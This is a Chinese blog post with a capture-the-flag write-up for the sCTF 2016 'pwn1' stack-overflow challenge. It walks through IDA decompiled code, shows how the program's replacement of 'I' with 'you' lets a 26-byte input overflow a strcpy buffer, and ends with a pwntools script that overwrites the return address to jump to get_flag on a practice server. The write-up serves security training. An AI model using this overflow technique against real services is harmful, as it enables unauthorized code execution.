栈溢出-sCTF 2016 q1-pwn1

 1 int vuln()
 2 {
 3   int v0; // ST08_4
 4   const char *v1; // eax
 5   char s; // [esp+1Ch] [ebp-3Ch]
 6   char v4; // [esp+3Ch] [ebp-1Ch]
 7   char v5; // [esp+40h] [ebp-18h]
 8   char v6; // [esp+47h] [ebp-11h]
 9   char v7; // [esp+48h] [ebp-10h]
10   char v8; // [esp+4Fh] [ebp-9h]
11 
12   printf("Tell me something about yourself: ");
13   fgets(&s, 32, edata);
14   std::string::operator=(&input, &s);
15   std::allocator<char>::allocator(&v6);
16   std::string::string(&v5, "you", &v6);
17   std::allocator<char>::allocator(&v8);
18   std::string::string(&v7, "I", &v8);
19   replace((std::string *)&v4, (std::string *)&input, (std::string *)&v7);
20   std::string::operator=(&input, &v4, v0, &v5);
21   std::string::~string((std::string *)&v4);
22   std::string::~string((std::string *)&v7);
23   std::allocator<char>::~allocator(&v8);
24   std::string::~string((std::string *)&v5);
25   std::allocator<char>::~allocator(&v6);
26   v1 = (const char *)std::string::c_str((std::string *)&input);
27   strcpy(&s, v1);
28   return printf("So, %s\n", &s);
29 }

打开IDA,观察反汇编代码,发现只有第13行,存在输入的地方。也就是fgets,但是这个函数限制了输入的长度,即32,也就是说最大只能输入32个字节的数据。

第14-26行是一些晦涩的C++类型的代码。我在一开始并没有搞懂这一连串代码是什么作用。

在第27行,存在strcpy,这个函数是典型的危险溢出函数。因为它向目标地址拷贝数据是不限制长度的。

 

 

 观察IDA可以发现,存在get_flag函数,作为一道简单的栈溢出题目,就是要覆盖返回地址,来转向这个get_flag函数了。

 

 

 但是输入的数据到返回地址的栈帧有3C+4(64)个字节,而fgets函数最多只能输入32个字节的数据,因此正常的填充数据,是无法做到覆盖掉返回地址的那个栈帧的。

 

然后再观察这几行代码,有replace,也许就是把you和I进行替换的。

 

 

 实际打开文件操作一下,程序确实把输入的I,替换成了you

通过以上分析,就能够写出脚本了。64/3=21余1,再加上4个字节的地址,总共只需要26个字节,26<32,因此就成功的绕过了fgets的限制了。

1 from pwn import *
2 
3 #io=process('./pwn1')
4 io=remote('node3.buuoj.cn',25554)
5 payload=b'I'*21+b'A'+p32(0x08048F0D)
6 io.sendline(payload)
7 print(io.recv())

 

posted @ 2020-12-05 10:17  大金刚仔  阅读(126)  评论(0编辑  收藏  举报